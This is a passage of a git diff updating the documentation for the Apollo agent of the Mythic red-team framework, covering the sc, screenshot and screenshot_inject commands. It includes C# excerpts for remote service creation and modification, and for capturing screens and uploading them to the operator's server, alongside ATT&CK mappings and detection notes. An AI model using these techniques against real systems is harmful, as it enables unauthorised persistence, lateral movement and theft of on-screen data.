`Marshal.PtrToStringUni` | Convert Unicode pointer to string | mscorlib.dll | +| `Marshal.ReadIntPtr` | Read pointer from memory | mscorlib.dll | ## MITRE ATT&CK Mapping +- **T1106** - Native API +- **T1218** - Signed Binary Proxy Execution +- **T1553** - Subvert Trust Controls + +## Security Considerations +- **Code Execution**: Direct execution of arbitrary binaries +- **Output Exposure**: Command output transmitted back to operator +- **Process Artifacts**: Creates process creation events in system logs +- **PATH Exploitation**: May execute unintended binaries via PATH manipulation + +## Limitations +1. Subject to execution policies and security software +2. Requires executable to exist and be accessible +3. Output capture depends on proper stream redirection +4. Long-running processes may impact agent performance +5. Some console applications may not work properly +6. Binary execution subject to user permissions -- T1106 -- T1218 -- T1553 \ No newline at end of file +## Error Conditions +- **File Not Found**: Executable not found in PATH or specified location +- **Access Denied**: Insufficient permissions to execute binary +- **Command Parse Error**: `CommandLineToArgvW` fails to parse command line +- **Process Start Failure**: Process creation fails with Win32 error +- **Memory Allocation**: Failed to allocate memory for argument parsing \ No newline at end of file diff --git a/documentation-payload/apollo/commands/sc.md b/documentation-payload/apollo/commands/sc.md index deac3ccb..9d2ea19c 100644 --- a/documentation-payload/apollo/commands/sc.md +++ b/documentation-payload/apollo/commands/sc.md @@ -5,154 +5,544 @@ weight = 103 hidden = false +++ -## Summary -.NET implementation of the Service Control Manager binary `sc.exe`. +{{% notice info %}} +Artifacts Generated: None +{{% /notice %}} -### Arguments +## Summary +.NET implementation of the Service Control Manager binary `sc.exe` for querying, starting, stopping, creating, deleting, and modifying Windows services on local and remote systems. Provides comprehensive service management capabilities with detailed service information and interactive UI features. -The `sc` command has several different parameter groups based on the type of tasking you perform. The taskings are grouped based on whether you pass the following flags: +- **Needs Admin:** False (some operations require elevated privileges) +- **Version:** 3 +- **Author:** @djhohnstein -- `-Query` -- `-Start` -- `-Stop` -- `-Create` -- `-Delete` -- `-Modify` +### Arguments +The `sc` command supports multiple operation modes through parameter groups: -### Query +#### Query Mode +- **query** (Boolean) - Query services on target system +- **computer** (String, Optional) - Target computer name +- **service** (String, Optional) - Specific service name to query +- **display_name** (String, Optional) - Service display name filter ![query](../images/sc_query.png) -#### Computer (optional) - -The computer to query services on. - -#### ServiceName (optional) - -The name of the service to query. - -#### DisplayName (optional) - -The display name of the service to query. - -### Start +#### Start Mode +- **start** (Boolean) - Start specified service +- **service** (String, Required) - Service name to start +- **computer** (String, Optional) - Target computer name ![start](../images/sc_start.png) -#### ServiceName - -The name of the service to start. - -#### Computer (optional) - -The computer on which the specified `ServiceName` will be started. - -### Stop +#### Stop Mode +- **stop** (Boolean) - Stop specified service +- **service** (String, Required) - Service name to stop +- **computer** (String, Optional) - Target computer name ![stop](../images/sc_stop.png) -#### ServiceName - -The name of the service to stop. - -#### Computer (optional) - -The computer to stop the specified `ServiceName` service. - -### Create +#### Create Mode +- **create** (Boolean) - Create new service +- **service** (String, Required) - Service name +- **display_name** (String, Required) - Service display name +- **binpath** (String, Required) - Path to service executable +- **computer** (String, Optional) - Target computer name ![create](../images/sc_create.png) -#### ServiceName - -The name of the service that will be created. - -#### DisplayName - -The display name of the new service. - -#### BinPath - -Path to service executable. - -#### Computer (optional) - -Computer to create the service on. - -### Delete +#### Delete Mode +- **delete** (Boolean) - Delete specified service +- **service** (String, Required) - Service name to delete +- **computer** (String, Optional) - Target computer name ![delete](../images/sc_delete.png) -#### ServiceName - -The name of the service to stop. - -#### Computer (optional) -The computer to stop the specified `ServiceName` service. - -### Modify +#### Modify Mode +- **modify** (Boolean) - Modify existing service +- **service** (String, Required) - Service name to modify +- **computer** (String, Optional) - Target computer name +- **binpath** (String, Optional) - New binary path +- **display_name** (String, Optional) - New display name +- **description** (String, Optional) - Service description +- **run_as** (String, Optional) - Service account username +- **password** (String, Optional) - Service account password +- **service_type** (String, Optional) - Service type +- **start_type** (String, Optional) - Service start type +- **dependencies** (String Array, Optional) - Service dependencies ![delete](../images/sc_modify.png) -#### ServiceName - -The name of the service to modify. - -#### Computer (optional) - -The computer to modify the specified `ServiceName` service. - -#### BinPath (optional) - -Path to service executable. - -#### DisplayName (optional) - -The display name of the service to query. - -#### Description (optional) -Set the service description. - -#### StartType (optional) -Set the user the service will run as. Defaults to SERVICE_NO_CHANGE. - -Valid options: SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_BOOT_START, SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_SYSTEM_START +## Usage +``` +# Query all services locally +sc -Query -#### Dependencies (optional) -Set the dependencies for a service. Values can be a comma separated list or an empty string ("") to remove dependencies. +# Query specific service +sc -Query -ServiceName "Spooler" -#### ServiceType (optional) -Set the service type. +# Query services on remote computer +sc -Query -Computer DC01 -Valid Options: SERVICE_NO_CHANGE, SERVICE_KERNEL_DRIVER, SERVICE_FILE_SYSTEM_DRIVER, SERVICE_WIN32_OWN_PROCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_INTERACTIVE_PROCESS, SERVICETYPE_NO_CHANGE, SERVICE_WIN32 +# Start a service +sc -Start -ServiceName "Spooler" -#### RunAs (optional) +# Stop a service on remote computer +sc -Stop -ServiceName "Spooler" -Computer DC01 -Set the user the service will run as. +# Create a new service +sc -Create -ServiceName "MyService" -DisplayName "My Custom Service" -BinPath "C:\MyService.exe" -#### Password (optional) -Set the service account password. +# Delete a service +sc -Delete -ServiceName "MyService" +# Modify service binary path +sc -Modify -ServiceName "MyService" -BinPath "C:\NewPath\MyService.exe" +``` -## Usage +**Output:** +``` +Interactive table with columns: +- Actions (Start/Stop/Delete/Modify/More Info buttons) +- Status (Running/Stopped/etc.) +- PID (Process ID if running) +- Service Name +- Display Name +- Binary Path ``` -# Query services locally -sc -Query -# Start a service on a computer (requires admin) -sc -Start -ServiceName ApolloSvc -Computer DC1 +## Detailed Summary + +### Agent Execution Flow + +#### 1. Parameter Processing and Validation +```csharp +[DataContract] +internal struct ScParameters +{ + [DataMember(Name = "query")] public bool Query; + [DataMember(Name = "start")] public bool Start; + [DataMember(Name = "stop")] public bool Stop; + [DataMember(Name = "create")] public bool Create; + [DataMember(Name = "delete")] public bool Delete; + [DataMember(Name = "modify")] public bool Modify; + [DataMember(Name = "computer")] public string Computer; + [DataMember(Name = "service")] public string Service; + [DataMember(Name = "display_name")] public string DisplayName; + [DataMember(Name = "binpath")] public string Binpath; + [DataMember(Name = "run_as")] public string RunAs; + [DataMember(Name = "password")] public string Password; + [DataMember(Name = "service_type")] public string ServiceTypeParam; + [DataMember(Name = "start_type")] public string StartType; + [DataMember(Name = "dependencies")] public string[] Dependencies; + [DataMember(Name = "description")] public string Description; +} +``` +- Deserializes parameters from JSON input +- Validates required parameters for each operation mode +- Sets default computer name to local machine if not specified +- Ensures mutual exclusivity of operation modes + +#### 2. Parameter Validation Logic +```csharp +private void ValidateParameters(ScParameters args) +{ + if (args.Start && string.IsNullOrEmpty(args.Service)) + throw new Exception("Start action requires service name to start."); + + if (args.Stop && string.IsNullOrEmpty(args.Service)) + throw new Exception("Stop action requires service name to stop."); + + if (args.Create && (string.IsNullOrEmpty(args.Service) || string.IsNullOrEmpty(args.Binpath))) + throw new Exception("Create action requires service name and binpath."); + + if (args.Delete && string.IsNullOrEmpty(args.Service)) + throw new Exception("Delete action requires service name to delete."); + + if (args.Modify && string.IsNullOrEmpty(args.Service)) + throw new Exception("Modify action requires service name to modify."); +} +``` +- Validates required parameters for each operation mode +- Prevents execution with incomplete parameter sets +- Provides clear error messages for missing requirements + +#### 3. Service Control Manager Connection +```csharp +ServiceControlHandle OpenSCManager(string lpMachineName, string lpSCDB, SCMAccess scParameter) + +ServiceControlHandle serviceMangerHandle = _pOpenSCManager( + parameters.Computer, + null, + SCMAccess.SC_MANAGER_ENUMERATE_SERVICE +); + +if (serviceMangerHandle.IsInvalid) + throw new Exception($"Failed to open SCM: {new Win32Exception().Message}"); +``` +- Opens connection to Service Control Manager on target system +- Uses appropriate access rights based on operation type +- Handles connection failures with detailed error messages +- Supports both local and remote service management + +#### 4. Service Enumeration (Query Mode) +```csharp +private static List QueryServies(ScParameters parameters, string action) +{ + // First call to get buffer size needed + bool result = _pEnumServicesStatusEx( + serviceMangerHandle, + ServiceInfoLevel.SC_ENUM_PROCESS_INFO, + (int) ServiceType.SERVICE_WIN32, + (int) ServiceStateRequest.SERVICE_STATE_ALL, + IntPtr.Zero, + 0, + out uint iBytesNeeded, + out uint iServicesReturned, + ref iResumeHandle, + null); + + // Allocate memory and get actual service data + buf = Marshal.AllocHGlobal((int) iBytesNeeded); + result = _pEnumServicesStatusEx(/* ... with allocated buffer ... */); + + // Parse results into service objects + ENUM_SERVICE_STATUS_PROCESS[] serviceArray = GetServiceStatuses(buf, iServicesReturned); +} +``` +- Enumerates all services on target system +- Uses two-phase approach: size calculation then data retrieval +- Handles memory allocation and deallocation properly +- Supports filtering by service name when specified + +#### 5. Service Configuration Retrieval +```csharp +private static QUERY_SERVICE_CONFIG GetServiceConfig(ServiceControlHandle serviceHandle) +{ + // Get required buffer size + bool retCode = _pQueryServiceConfig(serviceHandle, IntPtr.Zero, 0, out uint bytesNeeded); + + // Allocate and retrieve configuration + IntPtr qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); + retCode = _pQueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded); + + return (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG)); +} + +private static string GetServiceDescription(ServiceControlHandle serviceHandle) +{ + _pQueryServiceConfig2(serviceHandle, ConfigInfoLevel.SERVICE_CONFIG_DESCRIPTION, + IntPtr.Zero, 0, out uint dwBytesNeeded); + + IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded); + bool success = _pQueryServiceConfig2(serviceHandle, ConfigInfoLevel.SERVICE_CONFIG_DESCRIPTION, + ptr, dwBytesNeeded, out dwBytesNeeded); + + SERVICE_DESCRIPTION sd = new SERVICE_DESCRIPTION(); + Marshal.PtrToStructure(ptr, sd); + return sd.lpDescription; +} +``` +- Retrieves detailed service configuration information +- Gets service description through separate API call +- Properly manages memory allocation for variable-length data +- Handles configuration retrieval failures gracefully + +#### 6. Service State Management +```csharp +// Service Start Operation +ServiceController instance = new ServiceController(parameters.Service, parameters.Computer); +if (instance.Status == ServiceControllerStatus.Running) +{ + // Service already running +} +else +{ + instance.Start(); + ST.Task waitForServiceAsync = new ST.Task(() => { + instance.WaitForStatus(ServiceControllerStatus.Running); + }, _cancellationToken.Token); + waitForServiceAsync.Start(); +} + +// Service Stop Operation +ServiceController stopInstance = new ServiceController(parameters.Service, parameters.Computer); +if (stopInstance.Status == ServiceControllerStatus.Stopped) +{ + // Service already stopped +} +else +{ + stopInstance.Stop(); + ST.Task stopTask = new ST.Task(() => { + stopInstance.WaitForStatus(ServiceControllerStatus.Stopped); + }); +} +``` +- Uses .NET ServiceController class for state management +- Implements asynchronous waiting for state changes +- Supports cancellation during state transitions +- Provides feedback on current service state + +#### 7. Service Creation and Installation +```csharp +private static bool InstallService(string hostname, string ServiceName, string ServiceDisplayName, string ServiceEXE) +{ + // Remove existing service if present + try { UninstallService(hostname, ServiceName); } + catch (Exception) { } + + ServiceControlHandle scmHandle = _pOpenSCManager(hostname, null, SCMAccess.SC_MANAGER_CREATE_SERVICE); + ServiceControlHandle serviceHandle = _pCreateService( + scmHandle, + ServiceName, + ServiceDisplayName, + ServiceAccess.SERVICE_ALL_ACCESS, + ServiceType.SERVICE_WIN32_OWN_PROCESS, + ServiceStartType.SERVICE_AUTO_START, + ServiceErrorControl.SERVICE_ERROR_NORMAL, + ServiceEXE, + null, // LoadOrderGroup + IntPtr.Zero, // TagId + null, // Dependencies + null, // ServiceStartName + null); // Password + + return !serviceHandle.IsInvalid; +} +``` +- Creates new Windows service with specified parameters +- Automatically removes existing service with same name +- Uses standard service configuration defaults +- Provides comprehensive error handling + +#### 8. Service Modification +```csharp +private static void ModifyService(ScParameters parameters) +{ + const uint SERVICE_NO_CHANGE = 0xFFFFFFFF; + + ServiceControlHandle serviceHandle = _pOpenService(serviceMangerHandle, parameters.Service, + ServiceAccess.SERVICE_CHANGE_CONFIG); + + // Prepare modification parameters + uint newServiceType = SERVICE_NO_CHANGE; + uint newStartType = SERVICE_NO_CHANGE; + string newBinPath = parameters.Binpath; + string newDisplayName = parameters.DisplayName; + string newServiceStartName = parameters.RunAs; + string newPassword = parameters.Password; + + // Handle dependencies array + string newDepends = null; + if (parameters.Dependencies != null) + { + foreach (string depend in parameters.Dependencies) + newDepends += depend + "\0"; + newDepends += "\0"; + } + + // Apply changes + bool success = _pChangeServiceConfig(serviceHandle, newServiceType, newStartType, + SERVICE_NO_CHANGE, newBinPath, null, IntPtr.Zero, newDepends, + newServiceStartName, newPassword, newDisplayName); + + // Set description separately + if (!string.IsNullOrEmpty(parameters.Description)) + SetServiceDescription(serviceHandle, parameters.Description); +} +``` +- Modifies existing service configuration +- Supports partial updates using SERVICE_NO_CHANGE constant +- Handles dependencies as null-terminated string array +- Updates service description through separate API call + +#### 9. Interactive UI Features +```csharp +// Browser script generates interactive table with action buttons +{ + "actions": {"button": { + "name": "Actions", + "type": "menu", + "startIcon": "list", + "value": [ + { + "name": "Start", + "type": "task", + "ui_feature": "sc:start", + "parameters": JSON.stringify({ + "start": true, + "computer": jinfo["computer"], + "service": jinfo["service"] + }), + "disabled": !isStart, + "hoverText": "Start Service" + }, + // ... additional buttons for Stop, Delete, Modify, More Info + ] + }} +} +``` +- Generates interactive table with action buttons +- Buttons are enabled/disabled based on service state +- Supports direct service management from UI +- Provides detailed service information in popup dialogs + +### API Function Resolution + +#### Required Windows APIs +```csharp +public sc(IAgent agent, MythicTask data) : base(agent, data) +{ + _pDeleteService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DeleteService"); + _pOpenService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenServiceA"); + _pStartService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "StartServiceA"); + _pCloseServiceHandle = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CloseServiceHandle"); + _pOpenSCManager = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenSCManagerA"); + _pCreateService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateServiceA"); + _pControlService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ControlService"); + _pEnumServicesStatusEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "EnumServicesStatusExW"); + _pQueryServiceConfig2 = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "QueryServiceConfig2W"); + _pQueryServiceConfig = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "QueryServiceConfigW"); + _pChangeServiceConfig = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ChangeServiceConfigA"); + _pChangeServiceConfig2 = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ChangeServiceConfig2W"); +} +``` +- Dynamically resolves all required service management APIs +- Uses both ANSI and Unicode variants as appropriate +- Leverages Apollo's API resolution framework +- Provides comprehensive service management capabilities + +### Data Structures + +#### ServiceResult Output Structure +```csharp +[DataContract] +internal struct ServiceResult +{ + [DataMember(Name = "display_name")] public string DisplayName; + [DataMember(Name = "service")] public string Service; + [DataMember(Name = "status")] public string Status; + [DataMember(Name = "can_stop")] public bool CanStop; + [DataMember(Name = "dependencies")] public string[] Dependencies; + [DataMember(Name = "service_type")] public string SvcType; + [DataMember(Name = "start_type")] public string StartType; + [DataMember(Name = "description")] public string Description; + [DataMember(Name = "computer")] public string Computer; + [DataMember(Name = "binary_path")] public string BinaryPath; + [DataMember(Name = "load_order_group")] public string LoadOrderGroup; + [DataMember(Name = "run_as")] public string RunAs; + [DataMember(Name = "error_control")] public string ErrorControl; + [DataMember(Name = "pid")] public string PID; + [DataMember(Name = "accepted_controls")] public string[] AcceptedControls; + [DataMember(Name = "action")] public string Action; +} +``` -# Stop a service -sc -Stop -ServiceName ApolloSvc +#### Memory Management +```csharp +[SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)] +[SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)] +public class ServiceControlHandle : SafeHandleZeroOrMinusOneIsInvalid +{ + private ServiceControlHandle() : base(true) { } + + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] + protected override bool ReleaseHandle() + { + return _pCloseServiceHandle(this.handle); + } +} +``` +- Implements proper handle management through SafeHandle +- Ensures automatic cleanup of service handles +- Provides constrained execution region guarantees +- Prevents handle leaks in error scenarios + +### Service Type and State Enumerations + +#### Service Types +```csharp +[Flags] +public enum ServiceType : uint +{ + SERVICE_KERNEL_DRIVER = 0x1, + SERVICE_FILE_SYSTEM_DRIVER = 0x2, + SERVICE_WIN32_OWN_PROCESS = 0x10, + SERVICE_WIN32_SHARE_PROCESS = 0x20, + SERVICE_INTERACTIVE_PROCESS = 0x100, + SERVICE_WIN32 = (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS) +} +``` -# Create a service on a computer -sc -Create -ServiceName ApolloSvc -DisplayName "Apollo PSExec" -BinPath C:\Users\Public\apollo_service.exe -Computer DC1 +#### Service States +```csharp +public enum SERVICE_STATE : uint +{ + SERVICE_STOPPED = 0x00000001, + SERVICE_START_PENDING = 0x00000002, + SERVICE_STOP_PENDING = 0x00000003, + SERVICE_RUNNING = 0x00000004, + SERVICE_CONTINUE_PENDING = 0x00000005, + SERVICE_PAUSE_PENDING = 0x00000006, + SERVICE_PAUSED = 0x00000007 +} +``` -# Delete a service -sc -Delete -ServiceName ApolloSvc -Computer DC1 +#### Service Start Types +```csharp +public enum ServiceStartType : uint +{ + SERVICE_AUTO_START = 0x00000002, + SERVICE_BOOT_START = 0x00000000, + SERVICE_DEMAND_START = 0x00000003, + SERVICE_DISABLED = 0x00000004, + SERVICE_SYSTEM_START = 0x00000001 +} ``` -## MITRE ATT&CK Mapping +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `OpenSCManagerA` | Open Service Control Manager | advapi32.dll | +| `OpenServiceA` | Open handle to specific service | advapi32.dll | +| `CreateServiceA` | Create new service | advapi32.dll | +| `DeleteService` | Delete existing service | advapi32.dll | +| `StartServiceA` | Start service | advapi32.dll | +| `ControlService` | Send control codes to service | advapi32.dll | +| `EnumServicesStatusExW` | Enumerate services with detailed info | advapi32.dll | +| `QueryServiceConfigW` | Query service configuration | advapi32.dll | +| `QueryServiceConfig2W` | Query extended service configuration | advapi32.dll | +| `ChangeServiceConfigA` | Modify service configuration | advapi32.dll | +| `ChangeServiceConfig2W` | Modify extended service configuration | advapi32.dll | +| `CloseServiceHandle` | Close service handles | advapi32.dll | -- T1106 \ No newline at end of file +## MITRE ATT&CK Mapping +- **T1106** - Native API +- **T1543.003** - Create or Modify System Process: Windows Service +- **T1569.002** - System Services: Service Execution + +## Security Considerations +- **Privilege Escalation**: Service creation/modification may require admin rights +- **Persistence**: Services can be used for maintaining persistence +- **Service Hijacking**: Modification of existing services for malicious purposes +- **Remote Access**: Can manage services on remote systems +- **Credential Exposure**: Service account credentials may be visible in memory + +## Limitations +1. Some operations require administrative privileges +2. Remote service management depends on network connectivity and permissions +3. Service state changes may take time to complete +4. Some services cannot be stopped due to system dependencies +5. Service creation requires valid executable path +6. Password changes may require service restart + +## Error Conditions +- **Access Denied**: Insufficient privileges for requested operation +- **Service Not Found**: Specified service does not exist +- **Invalid Parameter**: Missing required parameters for operation +- **SCM Connection Failed**: Cannot connect to Service Control Manager +- **Service Start/Stop Timeout**: Service fails to change state within timeout period +- **Handle Creation Failed**: Cannot obtain handle to service or SCM +- **Configuration Error**: Invalid service configuration parameters +- **Network Error**: Remote service management fails due to network issues \ No newline at end of file diff --git a/documentation-payload/apollo/commands/screenshot.md b/documentation-payload/apollo/commands/screenshot.md index 8c2bbac2..82c049e4 100644 --- a/documentation-payload/apollo/commands/screenshot.md +++ b/documentation-payload/apollo/commands/screenshot.md @@ -6,13 +6,297 @@ hidden = false +++ ## Summary -Take a screenshot of the desktop session associated with the current process. +Captures screenshots of all desktop sessions associated with the current process using Windows GDI+ APIs. Supports multi-monitor environments by capturing each screen independently and returns images as PNG files through Mythic's file management system. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @reznok, @djhohnstein + +### Arguments +No arguments required - automatically captures all available screens. ## Usage ``` screenshot ``` +**Output:** +``` +Multiple PNG files uploaded to Mythic file system: +- Screen 1: 1920x1080 desktop capture +- Screen 2: 1280x1024 secondary monitor capture +``` + +## Detailed Summary + +### Agent Execution Flow + +#### 1. Screen Discovery and Enumeration +```csharp +List captures = Screen.AllScreens.Select(GetBytesFromScreen).ToList(); +``` +- Uses `System.Windows.Forms.Screen.AllScreens` to enumerate all available displays +- Automatically detects multi-monitor configurations +- Creates a list to store screenshot data for each screen +- Processes screens sequentially to avoid resource conflicts + +#### 2. Screen Capture Process +```csharp +private byte[] GetBytesFromScreen(Screen screen) +{ + using Bitmap bmpScreenCapture = new(screen.Bounds.Width, screen.Bounds.Height); + using Graphics g = Graphics.FromImage(bmpScreenCapture); + using MemoryStream ms = new(); + + g.CopyFromScreen(new Point(screen.Bounds.X, screen.Bounds.Y), Point.Empty, bmpScreenCapture.Size); + bmpScreenCapture.Save(ms, ImageFormat.Png); + byte[] bScreen = ms.ToArray(); + + return bScreen; +} +``` +- Creates bitmap with exact dimensions of target screen +- Uses `Graphics.CopyFromScreen()` to capture pixel data directly from framebuffer +- Captures from screen's absolute coordinates (`screen.Bounds.X`, `screen.Bounds.Y`) +- Saves as PNG format for lossless compression +- Returns raw byte array for file upload + +#### 3. Multi-Monitor Support +```csharp +// Screen.AllScreens provides access to all displays +foreach (Screen screen in Screen.AllScreens) +{ + // Each screen has bounds: X, Y, Width, Height + Point sourcePoint = new Point(screen.Bounds.X, screen.Bounds.Y); + Size screenSize = new Size(screen.Bounds.Width, screen.Bounds.Height); + + // Capture specific screen region + g.CopyFromScreen(sourcePoint, Point.Empty, screenSize); +} +``` +- Handles extended desktop configurations automatically +- Captures each monitor as separate image file +- Preserves original screen resolution and aspect ratio +- Supports non-aligned monitor arrangements + +#### 4. File Management and Upload +```csharp +foreach (byte[] bScreen in captures) +{ + bool putFile = _agent.GetFileManager().PutFile( + _cancellationToken.Token, + _data.ID, + bScreen, + null, + out string mythicFileId, + true + ); + + if (putFile is false) + { + DebugHelp.DebugWriteLine("put file failed"); + resp = CreateTaskResponse("", true, "error"); + break; + } + + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse(mythicFileId, false, "") + ); +} +``` +- Uploads each screenshot as separate file to Mythic +- Uses Apollo's file manager for secure transfer +- Generates unique Mythic file ID for each image +- Provides intermediate responses for real-time feedback +- Handles upload failures gracefully with error reporting + +#### 5. Memory Management and Resource Cleanup +```csharp +using Bitmap bmpScreenCapture = new(screen.Bounds.Width, screen.Bounds.Height); +using Graphics g = Graphics.FromImage(bmpScreenCapture); +using MemoryStream ms = new(); +``` +- Uses `using` statements for automatic resource disposal +- Ensures proper cleanup of GDI+ objects +- Prevents memory leaks from bitmap and graphics handles +- Releases memory streams after PNG encoding + +#### 6. Error Handling and Cancellation +```csharp +try +{ + List captures = Screen.AllScreens.Select(GetBytesFromScreen).ToList(); + // ... capture and upload logic +} +catch (Exception e) +{ + DebugHelp.DebugWriteLine(e.Message); + DebugHelp.DebugWriteLine(e.StackTrace); + resp = CreateTaskResponse(e.Message, true, "error"); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); +} +``` +- Comprehensive exception handling for capture failures +- Detailed error logging with stack traces +- Supports cancellation through cancellation token +- Provides meaningful error messages to operator + +### Browser Script Integration + +#### File Display and Download +```javascript +function(task, responses){ + if(responses.length > 0){ + let responseArr = []; + for(let i = 0; i < responses.length; i++){ + responseArr.push({ + "agent_file_id": responses[i], + "filename": "file.png", + }); + } + return {"media":responseArr}; + }else{ + return {"plaintext": "No data to display..."} + } +} +``` +- Processes multiple screenshot file IDs from agent +- Creates media array for inline image display +- Sets consistent PNG filename for downloads +- Provides fallback message if no screenshots captured + +#### UI Features +- **Inline Preview**: Screenshots display directly in Mythic interface +- **Download Links**: Individual files can be downloaded +- **Multi-Monitor Support**: Each screen appears as separate image +- **Timestamp Metadata**: File creation time preserved + +### GDI+ API Integration + +#### Core Graphics Functions +```csharp +// System.Drawing namespace provides: +Screen.AllScreens // Enumerate all displays +Graphics.FromImage(bitmap) // Create graphics context +Graphics.CopyFromScreen() // Capture screen pixels +Bitmap.Save(stream, ImageFormat.Png) // Encode as PNG +``` +- Leverages Windows GDI+ for high-performance screen capture +- Direct framebuffer access for pixel-perfect screenshots +- Hardware-accelerated image processing when available +- Supports all Windows display configurations + +#### Screen Coordinate System +```csharp +// Multi-monitor coordinate mapping +Screen primaryScreen = Screen.PrimaryScreen; +// Primary: X=0, Y=0, Width=1920, Height=1080 + +Screen secondaryScreen = Screen.AllScreens[1]; +// Secondary: X=1920, Y=0, Width=1280, Height=1024 (extended right) +// Or: X=0, Y=-1024, Width=1280, Height=1024 (extended up) +``` +- Handles complex multi-monitor arrangements +- Supports negative coordinates for screens above/left of primary +- Preserves exact pixel positioning across displays +- Works with portrait/landscape mixed orientations + +### Data Structures + +#### Screen Information +```csharp +public class Screen +{ + public Rectangle Bounds { get; } // Screen dimensions and position + public string DeviceName { get; } // Display device name + public bool Primary { get; } // Primary display flag + public Rectangle WorkingArea { get; } // Available area minus taskbar +} +``` + +#### Image Format Specifications +- **Format**: PNG (Portable Network Graphics) +- **Compression**: Lossless compression +- **Color Depth**: 24-bit RGB or 32-bit RGBA +- **Transparency**: Supported (though not relevant for screenshots) +- **Metadata**: Minimal (timestamp, dimensions) + +### Performance Considerations + +#### Memory Usage +```csharp +// Memory calculation for screenshot: +// Width × Height × 4 bytes (RGBA) = RAM usage per screen +// 1920×1080×4 = ~8.3 MB per full HD screen +// Plus PNG compression overhead and temporary buffers +``` +- Memory usage scales with screen resolution +- Multiple monitors increase total memory footprint +- PNG compression reduces final file size by 70-90% +- Temporary buffers released immediately after capture + +#### Capture Speed +- **Typical Performance**: 50-200ms per screen +- **Factors**: Screen resolution, GPU performance, system load +- **Optimization**: Sequential capture prevents resource contention +- **Bottlenecks**: File upload typically slower than capture + +### Security Implications + +#### Information Disclosure +- **Sensitive Data**: May capture passwords, personal information, proprietary data +- **Multi-User Systems**: Could capture other users' sessions if permissions allow +- **Clipboard Content**: Some applications show clipboard data on screen +- **Notification Areas**: System tray may contain sensitive status information + +#### Detection Considerations +- **API Calls**: `CopyFromScreen` calls may be monitored by security software +- **Process Behavior**: Unusual graphics API usage patterns +- **File Creation**: PNG files created in temp directories or memory +- **Network Traffic**: Large binary uploads to command and control + +## APIs Used +| API | Purpose | Namespace | +|-----|---------|-----------| +| `Screen.AllScreens` | Enumerate all display devices | System.Windows.Forms | +| `Graphics.FromImage` | Create graphics context for bitmap | System.Drawing | +| `Graphics.CopyFromScreen` | Capture screen pixels to bitmap | System.Drawing | +| `Bitmap.Save` | Encode bitmap as PNG | System.Drawing | +| `MemoryStream` | In-memory byte stream | System.IO | + ## MITRE ATT&CK Mapping +- **T1113** - Screen Capture + +## Security Considerations +- **Information Exposure**: Screenshots may contain sensitive data visible on screen +- **Privacy Violation**: Captures all visible content without user consent +- **Multi-User Risk**: May capture other users' sessions on shared systems +- **Data Exfiltration**: Large image files transferred to external servers +- **Forensic Artifacts**: PNG files and API calls leave forensic traces + +## Limitations +1. Requires active desktop session to capture meaningful content +2. Cannot capture content from secure desktop (UAC prompts, login screen) +3. May fail on systems with restricted graphics access +4. Large screenshots consume significant memory and bandwidth +5. Some full-screen applications may block screen capture +6. Virtual machines may have limited graphics acceleration +7. Multiple monitors increase processing time and network usage + +## Error Conditions +- **No Active Session**: Fails if no desktop session is active +- **Graphics Access Denied**: Insufficient permissions to access framebuffer +- **Memory Allocation Failed**: Insufficient RAM for large screenshots +- **File Upload Failed**: Network issues preventing file transfer to Mythic +- **GDI+ Exception**: Graphics subsystem errors during capture +- **Screen Access Blocked**: Security software preventing screen capture +- **Display Driver Issues**: Hardware/driver problems affecting screen access +- **Cancellation Requested**: Task cancelled before completion -- T1113 \ No newline at end of file +## Defensive Detection +- **Process Monitoring**: Monitor for unusual graphics API usage +- **File System**: Watch for PNG file creation in temp directories +- **Network Analysis**: Large binary uploads to suspicious destinations +- **API Hooking**: Hook `CopyFromScreen` and related graphics functions +- **Memory Analysis**: Look for large bitmap allocations +- **User Notification**: Alert users when screen capture occurs \ No newline at end of file diff --git a/documentation-payload/apollo/commands/screenshot_inject.md b/documentation-payload/apollo/commands/screenshot_inject.md index 2930818b..21d489ce 100644 --- a/documentation-payload/apollo/commands/screenshot_inject.md +++ b/documentation-payload/apollo/commands/screenshot_inject.md @@ -1,5 +1,5 @@ +++ -title = "screenshot" +title = "screenshot_inject" chapter = false weight = 103 hidden = false @@ -10,30 +10,444 @@ Artifacts Generated: Process Inject {{% /notice %}} ## Summary -Take a screenshot of the desktop session associated with the target process. +Injects a screenshot capture assembly into a target process to capture desktop sessions from that process's security context. Uses process injection, named pipes for IPC, and supports multiple screenshots with configurable intervals. Bypasses session isolation by executing in the context of the target process. -## Arguments +- **Needs Admin:** False (depends on target process privileges) +- **Version:** 2 +- **Author:** @reznok, @djhohnstein -### PID +### Arguments +- **pid** (Number, Required) - Process ID to inject screenshot assembly into +- **count** (Number, Optional) - Number of screenshots to capture (default: 1) +- **interval** (Number, Optional) - Seconds between screenshots (default: 0) -The process to inject the screenshot assembly into. +## Usage +``` +screenshot_inject -PID 1234 +screenshot_inject -PID 1234 -Count 5 -Interval 2 +screenshot_inject -PID 2048 -Count 